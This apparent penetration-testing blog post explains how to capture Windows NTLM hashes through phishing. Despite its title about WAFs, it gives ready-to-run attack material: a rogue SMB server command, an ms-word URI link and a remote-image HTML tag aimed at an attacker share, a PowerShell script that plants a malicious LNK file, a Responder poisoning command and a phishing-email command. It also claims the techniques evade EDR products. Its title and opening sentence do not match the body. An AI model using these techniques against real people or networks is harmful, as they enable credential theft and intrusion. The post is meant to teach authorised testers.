A Pentesters Guide - Part 5 (Unmasking WAFs and Finding the Source)
In this article I am going to detail a non-exhaustive overview of bypassing WAFs by
If you're a penetration tester, you'll know the beauty of grabbing hashes and how easy at times it can be. Perhaps you already know all of the techniques in this article, perhaps you know nothing at all on this topic. Either way, I welcome you in a journey of discovery that was mind blowing to me when I first learned about these techniques, and an array of tools in my toolkit that I use regularly on engagements to give me a leg up.
All of these techniques have been tested in the past month and are not caught by anti-virus, including the fancy EDR's like Crowdstrike and Sentinel One.
In this article we will cover hash capture:
In my experience of pentesting companies, especially corporate ones from an external perspective, I have noticed a few trends.
Knowledge of corporate infrastructure can be invaluable when forging external footholds. Typically, using a spearphishing email we will deliver a number of the following external techniques.
Without further ado:
"External hash grabbing?" I hear you say. Yes. While many companies should not be permitting port 445 external, or SMB traffic externally, many of them do. This is a surprise to many pentesters, however in my experience, many companies with the exception of a few (especially if they've only had a few pentests before) allow SMB egress, even on the mostly locked down corporate networks. Infact, many ISP's such as Comcast explicity block SMB for consumer clients. I wonder if this is due to the WannaCry/EternalBlue worm threat but I'm guessing at this point (if you know why please tell me!).
Typically, this attack requires some order of social engineering in order to get the target to click or enter in some credientials. We will go through the techniques below. May I ask also that if you like this article, or learned anything, please share it on Twitter or to your peers in hope that we can spread the knowledge everywhere! Thank you for reading! Your campaign is going to be most successful the first time it fires, if you have to correct your campaign and fire it again, you'll likely get less interest from your target(s), so be sure to test repeatedly before you send your first email.
The first technique involves generating a malicious word document, and abusing framesets to remotely link to our responder or pwnfile server. When the document is sucessfully opened, you will get a user hash.
To craft your malicious document, I recommend following this guide.
In the target variable, you can link this to your VPS running Responder or Pwnfile.
For a quick server, spin up a server on Digital Ocean, install docker, and deploy PwnFile.
docker build -t delta/pwnfile . && docker run -ti -p 445:445 delta/pwnfile
Once running, send the victim the malicious document with it pointing to your PwnFile/Responder/Impacket server. When the document is opened, you will receive hashes.
If you've created and used a framesets document before, you'll know that it requires the target to download the document, open the document, and click the scary "Load external assets" button. If the victim does not do this, then you will not recieve any hashes at all. Usually, well trained targets will not download and open strange looking word documents, but they will usually click a link when prompted.
This is where we figured out pretty quickly we needed to develop a new technique to extract hashes. From our many engagements, we learned from our user agent logs that about 99% of our clients are using Outlook, (This is important in a second).
This technique was shared to me by my good friend zSec, an absolute awesome dude and I'm so happy to be sharing this technique here for the first time!
What we do is abuse the
ms-word URI. Once your server is started, create a link with the contents
ms-word:ofe|u|file://192.168.1.221/share/doc.docx. When clicked, outlook (without prompting) will attempt to connect to your rogue SMB server and you will get hashes! The document will then open. (Assuming its hosted on the server). This is vastly more convincing than the Responder method with framesets as the target will be able to view an actual document.
If you're feeling lucky, you can even embed Macros for a quick One-Two Punch.
Outlook Embedded Images
You're probably starting to see a pattern here....
Start PwnFile or Responder, optionally add an image in the fileshare if you're using PwnFile.
Link it using the following HTML, and send it to the target via email.
<img width="100" src="//192.168.1.221/share/filename.png">
When your victim opens the email, if they're downloading remote images, you will get a hash (assuming they use Outlook). The issue is, a lot of Outlook configurations will not allow remote image downloads. This method is most useful when sending from a compromised account to another.
In my experience, image downloads for emails of the same domain (such as colleagues) are generally enabled. Such as
On your internals, you may have completed your initial enumeration and have found open file shares, you may have already achieved a certain level of access and simply want to escalate your reach and privileges.
Another tool in the toolbox is the LNK file method.
Run this powershell script:
$ip = '192.168.1.221' $filename = 'test.ico' $objShell = New-Object -ComObject WScript.Shell $lnk = $objShell.CreateShortcut("evil.txt.lnk") $lnk.TargetPath = "$HOME\evil.txt" $lnk.WindowStyle = 1 $lnk.IconLocation = "\\$ip\$filename" Write-Output $lnk.Save() Write-Output "Saved successfully at $HOME\evil.txt"
Be sure to change the IP to the IP of your PwnFile/Responder server. The remote file doesn't have to actually exist, nothing bad happens if it doesn't.
Place this shortcut on the file share, anybody that visits the directory it is in, you will get their hash! If you have read/write access to the infamous "main" fileshare, then you will catch a lot of hashes throughout the day.
A very common and well known technique for grabbing hashes on internal engagements. This probably doesn't need to be highlighted but it's such an important method that it needs to be at least mentioned.
When Windows tries to resolve hostnames, it will first attempt DNS, then LLMNR, then NetBios. The beauty of LLMNR and NetBios is that we can poison these protocols and trick the victim machines into connecting to us when the user attempts to connect to them.
A good use case is via wpad. If you want to read more about how Responder works with this, read this excellent writeup.
Responder.py is considered the industry-standard swiss army knife for LLMNR/NetBios poisoning to getting hashes.
sudo python2 Responder.py -I eth0 -wrfFP
Running this will usually score you one or two hashes, (depending on the enviornment) specifically when people open their web browsers due to the
In conclusion, there are several methods you can use to extract hashes from Windows hosts. Usually obtaining hashes and cracking them is a core staple in many day-day engagements, especially internal testers. Stay tuned for the next Pentesters guide, which will include what you can do with your new found hashes, including NTLM Relaying.
If you want an easy way to try out some of these methods, I recommend taking a look at a tool we've just released this week called [Apollo](https://github.com/navisecdelta/Apollo). Apollo is a command line tool for sending email, and supports templating with ERB. Templates that include the MS-Uri method and the remote image method are both preloaded with Apollo. An example of how to send an email with an MS-Uri would be as follows:
./Apollo.rb --template Uri --email email@example.com --subject "Evil Email" --identity john --vars "ip=192.168.1.221,share=share,filename=certificate.docx"
If you liked this or found this helpful, please share this article :)